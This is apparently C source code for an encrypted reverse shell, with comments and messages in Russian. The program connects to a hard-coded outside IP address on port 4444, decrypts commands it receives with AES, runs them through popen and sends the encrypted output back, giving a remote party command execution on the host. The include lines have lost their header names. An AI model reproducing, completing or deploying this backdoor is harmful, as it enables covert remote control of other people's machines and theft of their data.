#include #include #include #include #include #include #include #include #include #define SERVER_IP "212.113.119.5" #define PORT 4444 #define AES_KEY_SIZE 16 #define AES_BLOCK_SIZE 16 unsigned char key[AES_KEY_SIZE]; void generate_aes_key() { FILE *fp = popen("cat /sys/class/dmi/id/product_uuid", "r"); char buffer[256]; if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) { pclose(fp); RAND_bytes(key, AES_KEY_SIZE); } else { pclose(fp); SHA256((unsigned char *)buffer, strlen(buffer), key); } } int encrypt_data(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) { EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); int len, ciphertext_len; EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len); ciphertext_len = len; EVP_EncryptFinal_ex(ctx, ciphertext + len, &len); ciphertext_len += len; EVP_CIPHER_CTX_free(ctx); return ciphertext_len; } int decrypt_data(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) { EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); int len, plaintext_len; EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len); plaintext_len = len; EVP_DecryptFinal_ex(ctx, plaintext + len, &len); plaintext_len += len; plaintext[plaintext_len] = '\0'; EVP_CIPHER_CTX_free(ctx); return plaintext_len; } int main() { generate_aes_key(); int sock; struct sockaddr_in server; unsigned char buffer[1024], encrypted[1024], decrypted[1024]; unsigned char iv[AES_BLOCK_SIZE] = {0}; // IV для шифрования sock = socket(AF_INET, SOCK_STREAM, 0); server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(SERVER_IP); server.sin_port = htons(PORT); if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("[-] Не удалось подключиться"); exit(1); } printf("[+] Подключено к серверу %s:%d\n", SERVER_IP, PORT); while (1) { int recv_len = recv(sock, encrypted, sizeof(encrypted), 0); int decrypted_len = decrypt_data(encrypted, recv_len, key, iv, decrypted); FILE *fp = popen((char *)decrypted, "r"); if (fp == NULL) { perror("[-] Ошибка выполнения команды"); exit(1); } fread(buffer, 1, sizeof(buffer) - 1, fp); pclose(fp); buffer[strlen((char *)buffer)] = '\0'; int encrypted_len = encrypt_data(buffer, strlen((char *)buffer), key, iv, encrypted); send(sock, encrypted, encrypted_len, 0); } close(sock); return 0; }